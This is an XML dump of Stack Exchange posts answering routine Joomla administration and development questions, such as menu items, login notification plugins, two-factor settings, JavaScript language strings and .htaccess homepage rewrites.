  <row Id="14845" PostTypeId="2" ParentId="14843" CreationDate="2016-01-02T12:44:01.397" Score="4" Body="&lt;p&gt;Articles in Joomla are usually displayed through &lt;strong&gt;Menu Items&lt;/strong&gt;. Creating and publishing an article is only the first step, you also have to create a menu item:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XybFx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XybFx.jpg&quot; alt=&quot;How to add a menu item in Joomla&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are some of the most popular menu types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Articles → Featured Articles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will show all your &lt;em&gt;featured articles&lt;/em&gt; (marked with a star in the article list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Articles → Single article&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will let you choose a single article which will be displayed on your website for the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Articles → Category blog&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will display all articles from a chosen category. If the articles has a &lt;em&gt;Readmore&lt;/em&gt; tag (inserted using the &lt;kbd&gt;Read more&lt;/kbd&gt; button below the article editor), only the first part of each article will be displayed, followed by a link to the full article. This is the simplest way to create a blog in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ATfJE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATfJE.jpg&quot; alt=&quot;Display articles in Joomla&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="7540" LastEditDate="2016-01-02T13:11:24.843" LastActivityDate="2016-01-02T13:11:24.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14846" PostTypeId="1" AcceptedAnswerId="14848" CreationDate="2016-01-02T13:56:30.093" Score="6" ViewCount="515" Body="&lt;p&gt;Can someone let me know how to configure Joomla so that I get an email each time someone logs into my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, I get an email only when someone has registered. I'm running Joomla 3.5&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="1629" LastEditDate="2016-01-02T14:54:14.773" LastActivityDate="2016-01-03T08:15:00.717" Title="Configure Joomla to send an email at login" Tags="|plugin|user|joomla-3.5|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14847" PostTypeId="2" ParentId="14846" CreationDate="2016-01-02T14:47:43.320" Score="4" Body="&lt;p&gt;I believe there is no such built-in feature available. You can extend Joomla's functionality by writing a User plugin. When a user login to the site, Joomla will trigger the event onUserAfterLogin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to write your own User plugin to and implement onUserAfterLogin event to send emails. See below documentation to know how you can create a Joomla plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below documentation to know how you can send emails from Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Sending_email_from_extensions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-01-02T14:47:43.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14848" PostTypeId="2" ParentId="14846" CreationDate="2016-01-02T14:53:25.463" Score="4" Body="&lt;p&gt;There is a plugin in the Joomla Extensions Directory called &quot;&lt;a href=&quot;http://extensions.joomla.org/extension/login-notify&quot; rel=&quot;nofollow&quot;&gt;Login Notify&lt;/a&gt;&quot; that claims to do exactly this. I haven't used it myself, but according to the description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Login notify is a plugin that send email alert when any user log-in to&#xA;  the system. You can even set the application for which you want to&#xA;  make this plugin work, like only for admin section or only for site.&#xA;  This plugin also allows you to set the usergroup(s) for which login&#xA;  alerts are needed, suppose you do not want to get the alerts for super&#xA;  users or administrator then this is completely possible with this&#xA;  plugin. This plugin also facilitates you to send alert to the&#xA;  logged-in user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to install&lt;/strong&gt;&lt;br&gt;&#xA;The plugin does not seem to follow Joomla standards when it comes to installation, so you'll have to do some extra work: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download and unzip the file &lt;code&gt;login-notify.zip&lt;/code&gt; to your computer. &lt;/li&gt;&#xA;&lt;li&gt;Open the folder, and open the &lt;code&gt;source&lt;/code&gt; folder inside. &lt;/li&gt;&#xA;&lt;li&gt;Compress (zip) the contents of the &lt;code&gt;source&lt;/code&gt; folder. The name of the zip-file does not matter.&lt;/li&gt;&#xA;&lt;li&gt;Install the new zip file through your Joomla admin are (&lt;strong&gt;Extensions -&gt; Manage&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extensions -&gt; Plugins&lt;/strong&gt; after installation and enable/configure the plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2016-01-02T22:58:19.457" LastActivityDate="2016-01-02T22:58:19.457" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14849" PostTypeId="2" ParentId="5551" CreationDate="2016-01-03T00:52:45.310" Score="0" Body="&lt;p&gt;I had the same problem recently with the following error when trying to recreate the updates table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#1146 - Table 'xxxxxxxx_joomla.yyy_updates' doesn't exist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In phpMyAdmin, the updates table was appearing in the table list in the left hand column but strangely not appearing in the main list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://stackoverflow.com/a/8410497/1983389&quot;&gt;https://stackoverflow.com/a/8410497/1983389&lt;/a&gt;, restarting MySQL allows you to create the table as per the other answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case the web hosting support staff were unresponsive over the holiday season so I backed up the website using Akeeba Backup, deleted the website files, deleted and recreated the database and restored the website using Kickstart. I was then able to recreate the updates table so the website is again functioning normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BSMSR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BSMSR.png&quot; alt=&quot;#1146 Table doesn&amp;#39;t exist&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-01-03T00:52:45.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14850" PostTypeId="2" ParentId="14846" CreationDate="2016-01-03T08:15:00.717" Score="1" Body="&lt;p&gt;As another alternative, the firewall settings provided with &lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Admin Tools by Akeeba&lt;/strong&gt;&lt;/a&gt;, has option to send emails when a user has successfully logged in. It can even track unsuccessful attempts to login - and save the username and password that user used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just one note, because Admin tools comes in 2 editions (free and paid) I can't remember if the above features are included in the free edition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever the case, I would highly recommend Admin Tools pro, as it is a great utility that would also help protect and maintain your site. It's sort of a must-have extension for every Joomla.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-03T08:15:00.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14851" PostTypeId="1" AcceptedAnswerId="14887" CreationDate="2016-01-03T09:42:10.267" Score="0" ViewCount="123" Body="&lt;p&gt;I've got articles with single images or gallery created with SIGE on my website, I need to load metadata for each image from mysql database, is that possible?&lt;/p&gt;&#xA;" OwnerUserId="7519" LastEditorUserId="126" LastEditDate="2016-01-04T13:28:40.953" LastActivityDate="2016-01-07T09:44:54.660" Title="Load metadata from mysql" Tags="|joomla-3.x|images|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14852" PostTypeId="2" ParentId="14614" CreationDate="2016-01-03T14:36:31.563" Score="2" Body="&lt;p&gt;After some testing, I was able to replicate the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**A form redirects to a view without a menu item or redirects to itself relatively to a url like this one: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;component/mycomponent/myview&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It doesn't matter if the view has a menu item or not, this is just stupid Joomla routing.)**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Therefore the following has to be done to prevent the error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) the view has to be linked with an menu item in the Joomla backend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) the url to the form in the frontend should be /menu-alias&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) the forms action shouldn't redirect to another view, better be empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) the form should contain hidden inputs with the task&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your post and save redirection in the controller works like a charm, because you are operating within the menu item context (url).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if you redirect to another view or via JRoute to the same view without saving the current item id, you will leave the menu item context (&quot;component/mycomponent/myview&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This happens a lot in Joomla, because the current router system doesn't check the given url against the menu items in the database. To prevent that, you can do the following actions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Extend the router of your component with a function which searches the menu item table for the current url and returns the item id / menu item. (I have done that already in the past and it works.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Add a hidden fields in your form which contains the item id, task and target view (the correct way in Joomla to route). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Redirect urls like &quot;component/mycomponent/myview&quot; to the correct url path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) You can set fallbacks in the component params for every view. This will chain the item id to the component params and not the views to an url path.&#xA;View1 -&gt; Dropdown -&gt; Select Chained Menu Item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In controller:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$itemId = $params-&gt;get( $mycurrentviewname );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Don't use the  $menu-&gt;getActive()  if not absolutely necessary, because of the stupid Joomla routing system. I am recommending to set the menu item manually somehow.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back to question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I said, your error is somewhere in the beginning of routing. This could be simply your url which leads to your form or a redirect after submitting the form to a view without a menu item or to a url which doesn't contain an itemId.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your save function between $itemid and $message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(empty($itemId)){&#xA;&#xA;      $itemId = $app-&amp;gt;input-&amp;gt;get('Itemid', $itemId,'int');&#xA;      $active = $menu-&amp;gt;getItem($itemId);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add &quot;&amp;amp;task=save&amp;amp;Itemid=101&quot; to the url which returns your error message.&#xA;(Change 101 to your item id!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be redirected correctly now.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2016-01-03T14:36:31.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14853" PostTypeId="1" AcceptedAnswerId="14854" CreationDate="2016-01-03T19:10:06.670" Score="6" ViewCount="537" Body="&lt;p&gt;Can someone please let me know how I prevent the 'Secret Key' from appearing in the Log On screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, the Username, Password and 'Secret Key' appear in the Log On screen when users attempt to login to my site. I  would just like the username  and password to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton.&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="3650" LastEditDate="2016-11-13T09:27:38.393" LastActivityDate="2016-11-13T09:27:38.393" Title="How to Prevent 'Secret Key' appearing in Logon Screen" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14854" PostTypeId="2" ParentId="14853" CreationDate="2016-01-03T20:22:41.747" Score="6" Body="&lt;p&gt;Go to Extensions | Plugins&lt;br&gt;&#xA;Select Type &lt;code&gt;twofactorauth&lt;/code&gt;&lt;br&gt;&#xA;Unpublish &lt;code&gt;Two Factor Authentication - Google Authenticator&lt;/code&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-08-11T12:43:22.313" LastActivityDate="2016-08-11T12:43:22.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14855" PostTypeId="1" AcceptedAnswerId="14857" CreationDate="2016-01-03T21:21:38.253" Score="10" ViewCount="4233" Body="&lt;p&gt;In my custom component I do a lot of JavaScript validation for each view.  The validation throws various error messages and those messages are configured inside the language file en-GB.com_mycomp.ini and I write the JavaScript inclusion as below inside a PHP file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_COMPONENT.'/views/send/tmpl/validation.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;validation.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function doValidation(){&#xA;  // do some checking&#xA;  alert(&quot;&amp;lt;?php echo JText::_( 'VALIDATION_ERROR'); ?&amp;gt;&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing by this way the JavaScript code is rendered along with the PHP file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I was thinking is to use the standard &lt;code&gt;$document-&amp;gt;addScript(...)&lt;/code&gt; function so that the .js files are loaded as part of header.  Since I got the inline PHP statements I'm not able to do it like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I do not want to hard code the error messages inside the .js file because the component is language independent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need some direction regarding the best way of including JavaScript code that has language specific values.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="9471" LastEditDate="2019-04-04T13:23:18.547" LastActivityDate="2019-04-04T13:23:18.547" Title="How to manage language variables inside JavaScript?" Tags="|joomla-3.x|javascript|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14856" PostTypeId="2" ParentId="10791" CreationDate="2016-01-03T22:43:56.933" Score="-1" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$columns = $db-&amp;gt;getTableKeys('tableName');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7547" LastEditorUserId="-1" LastEditDate="2016-01-05T09:07:24.573" LastActivityDate="2016-01-05T09:07:24.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14857" PostTypeId="2" ParentId="14855" CreationDate="2016-01-04T07:29:22.963" Score="17" Body="&lt;p&gt;Joomla has a certain method for this. First, in &lt;code&gt;view.html.php&lt;/code&gt; add all strings, what needs to be translated with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JText::script('VALIDATION_ERROR');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add your string to javascript object, what you can use later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in javascript, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.JText._('VALIDATION_ERROR')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will give you matching translation in current language. This way you can keep JS and PHP in separate files.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-04T07:29:22.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14858" PostTypeId="5" CreationDate="2016-01-04T08:12:56.303" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Unit_testing&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unit testing is a method by which individual units of source code are tested to determine if they are fit for use.&#xA;  Intuitively, one can view a unit as the smallest testable part of an application. In procedural programming a unit could be an entire module but is more commonly an individual function or procedure. In object-oriented programming a unit is often an entire interface, such as a class, but could be an individual method.&#xA;  Unit tests are created by programmers or occasionally by white box testers during the development process.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Ideally, each &lt;a href=&quot;http://en.wikipedia.org/wiki/Test_case&quot; rel=&quot;nofollow&quot;&gt;test case&lt;/a&gt; is independent from the others: substitutes like &lt;a href=&quot;http://en.wikipedia.org/wiki/Method_stub&quot; rel=&quot;nofollow&quot;&gt;method stubs&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Mock_object&quot; rel=&quot;nofollow&quot;&gt;mock objects&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Mock_object#Mocks_and_fakes&quot; rel=&quot;nofollow&quot;&gt;fakes&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Test_harness&quot; rel=&quot;nofollow&quot;&gt;test harnesses&lt;/a&gt; can be used to assist testing a module in isolation. For example, these substitutes also known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Test_double&quot; rel=&quot;nofollow&quot;&gt;Test Doubles&lt;/a&gt; can be used to isolate dependencies such as Databases and File System.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unit tests are typically written and run by software developers to ensure that code meets its design and behaves as intended.&lt;sup&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Unit_testing&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;&lt;/sup&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unit testing is closely related to &lt;a href=&quot;http://c2.com/cgi/wiki?TestDrivenDevelopment&quot; rel=&quot;nofollow&quot;&gt;Test Driven Development&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Benefits&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The goal of unit testing is to isolate each part of the program and show that the individual parts are correct. A unit test provides a strict, written contract that the piece of code must satisfy. As a result, it affords several benefits.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Finds problems early&lt;/li&gt;&#xA;&lt;li&gt;Facilitates change&lt;/li&gt;&#xA;&lt;li&gt;Simplifies integration&lt;/li&gt;&#xA;&lt;li&gt;Documentation&lt;/li&gt;&#xA;&lt;li&gt;Design&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External links&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_unit_testing_frameworks&quot; rel=&quot;nofollow&quot;&gt;List of unit testing frameworks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-01-04T14:38:03.700" LastActivityDate="2016-01-04T14:38:03.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14859" PostTypeId="4" CreationDate="2016-01-04T08:12:56.303" Score="0" Body="Unit testing is a method by which individual units of source code are tested to determine if they are fit for use." OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-01-04T14:37:47.710" LastActivityDate="2016-01-04T14:37:47.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14860" PostTypeId="1" AcceptedAnswerId="14861" CreationDate="2016-01-04T12:00:34.937" Score="1" ViewCount="1033" Body="&lt;p&gt;I own a live website and I'm attempting to replace the current homepage using an external url as menu item, the external url is an index.html. This way the browser should open that page first but that's not happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The browser keep redirecting me to the old homepage that is a single article menu item. I truly hope to have been clear enough  and here is the live web site address &lt;a href=&quot;http://www.farmhousebriganti.com&quot; rel=&quot;nofollow&quot;&gt;http://www.farmhousebriganti.com&lt;/a&gt; here you will see what I'm talking about. P.S. the single article menu item is the homepage till when I have attempted to replace it with an external url menu item whose link url is index.html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware this problem might have an easy solution but believe me I've been stuck with it for days now. If the live web site address is not enough and for any further information just ask&lt;/p&gt;&#xA;" OwnerUserId="7551" LastEditorUserId="126" LastEditDate="2016-01-04T13:16:11.533" LastActivityDate="2016-01-04T13:25:13.773" Title="How to make external url as homepage" Tags="|joomla-3.4|administrator|url|" AnswerCount="2" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14861" PostTypeId="2" ParentId="14860" CreationDate="2016-01-04T12:37:52.033" Score="1" Body="&lt;p&gt;Joomla &lt;code&gt;.htaccess&lt;/code&gt; uses &lt;code&gt;index.php&lt;/code&gt; by default. You can edit &lt;code&gt;.htaccess&lt;/code&gt; and add these to the end of it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/$&#xA;RewriteRule .* index.html [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means, that root url will show &lt;code&gt;index.html&lt;/code&gt; and other url's (deeper) will use &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-04T12:37:52.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14862" PostTypeId="2" ParentId="14860" CreationDate="2016-01-04T13:25:13.773" Score="1" Body="&lt;p&gt;As Rene posted in his answer, loading Joomla's home page (index.php) instead of your index.html, is because of .htaccess that forcing parsing of index.php first over index.html files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So following Rene's instructions you can change this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I see a potential problem by having a external html page as home page instead of your Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer directly the question in the title of your question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't have a menu item of type: external URL as home page. Joomla needs one way or another to have a default home page menu item. And it won't allow this be an external url.&lt;br&gt;&#xA;So what's going to be your Joomla's home page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it can be possible if you create a hidden menu and put there your home page menu item, so it won't exist in your main menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, whatever the desired html page for home page would be, I would still stick and create it within Joomla.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-04T13:25:13.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14864" PostTypeId="1" CreationDate="2016-01-04T19:36:19.337" Score="3" ViewCount="327" Body="&lt;p&gt;This request is a little difficult to explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page the requests a login to access the page. I have created a default username and password that potential customers can use to access the page. However, I think people aren't even bothered to enter the default username and password. Therefore, I would like to users to be able to click on the link to the page and automatically be logged in to access the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that one solution might be to somehow configuring Joomla so the username and password is already entered so that when a user clicks on the link they're automatically taken to the page, but I dont know how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could show me, or have any other suggestions, that would be great.&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="1629" LastEditDate="2016-01-06T16:30:06.560" LastActivityDate="2016-06-24T10:54:06.973" Title="How to Create a Default Login Page" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14866" PostTypeId="1" AcceptedAnswerId="14870" CreationDate="2016-01-05T00:18:47.827" Score="3" ViewCount="61" Body="&lt;p&gt;I believe I've found a mistake in the Joomla documentation, according to the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JSession.html#method_getExpire&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getExpire should get session expiration time in minutes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've checked my settings and the session lifetime is set to 15minutes&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pHepx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pHepx.jpg&quot; alt=&quot;Session Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I use the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$expiry=$session-&amp;gt;getExpire();  &#xA;echo &quot;session expiration is &quot;,$expiry,&quot;&amp;lt;br/&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is &quot;session expiration is 900&quot;. I'm assuming the result is in seconds 15*60=900.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTIONs:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can someone confirm that getExpire() normally returns the result in seconds?&lt;/li&gt;&#xA;&lt;li&gt;Who should you contact if you think you have found a problem with the Joomla&#xA;documentation?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2016-01-05T00:37:40.727" LastActivityDate="2016-01-05T10:29:40.397" Title="Is getExpire in minutes a documentation error?" Tags="|joomla-3.x|session|jsession|documentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14867" PostTypeId="2" ParentId="9581" CreationDate="2016-01-05T00:44:53.907" Score="5" Body="&lt;p&gt;This is a very old question and probably nobody reads it anymore, but anyways I will post my answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the regex for the &lt;code&gt;JQuery&lt;/code&gt; caption you have errors. You don't need to escape dots but you have to escape special characters. And also you need to target the correct key in the array so you need to add &lt;code&gt;['text/javascript']&lt;/code&gt; after calling the script object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the correct regex/preg_replace would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_script['text/javascript'] = preg_replace('%jQuery\(window\).on\(\'load\',\s*function\(\)\s*\{\s*new\s*JCaption\(\'img.caption\'\)\;\s*\}\)\;\s*%', '', $this-&amp;gt;_script['text/javascript']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not so long ago I was also struggling with regex but this site helped a lot: &lt;a href=&quot;http://regexr.com/&quot; rel=&quot;noreferrer&quot;&gt;http://regexr.com/&lt;/a&gt;&#xA;If you trying out the site note that you don't need to use the open and close tags because its already there automatically.&lt;/p&gt;&#xA;" OwnerUserId="7555" LastActivityDate="2016-01-05T00:44:53.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14868" PostTypeId="2" ParentId="14554" CreationDate="2016-01-05T05:43:22.823" Score="0" Body="&lt;p&gt;I have two methods which worked perfectly for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Export the Database structure, then the data, then import the structure to the live site, then the data.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Use the Command line.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All will be fine.  &lt;/p&gt;&#xA;" OwnerUserId="3854" LastActivityDate="2016-01-05T05:43:22.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
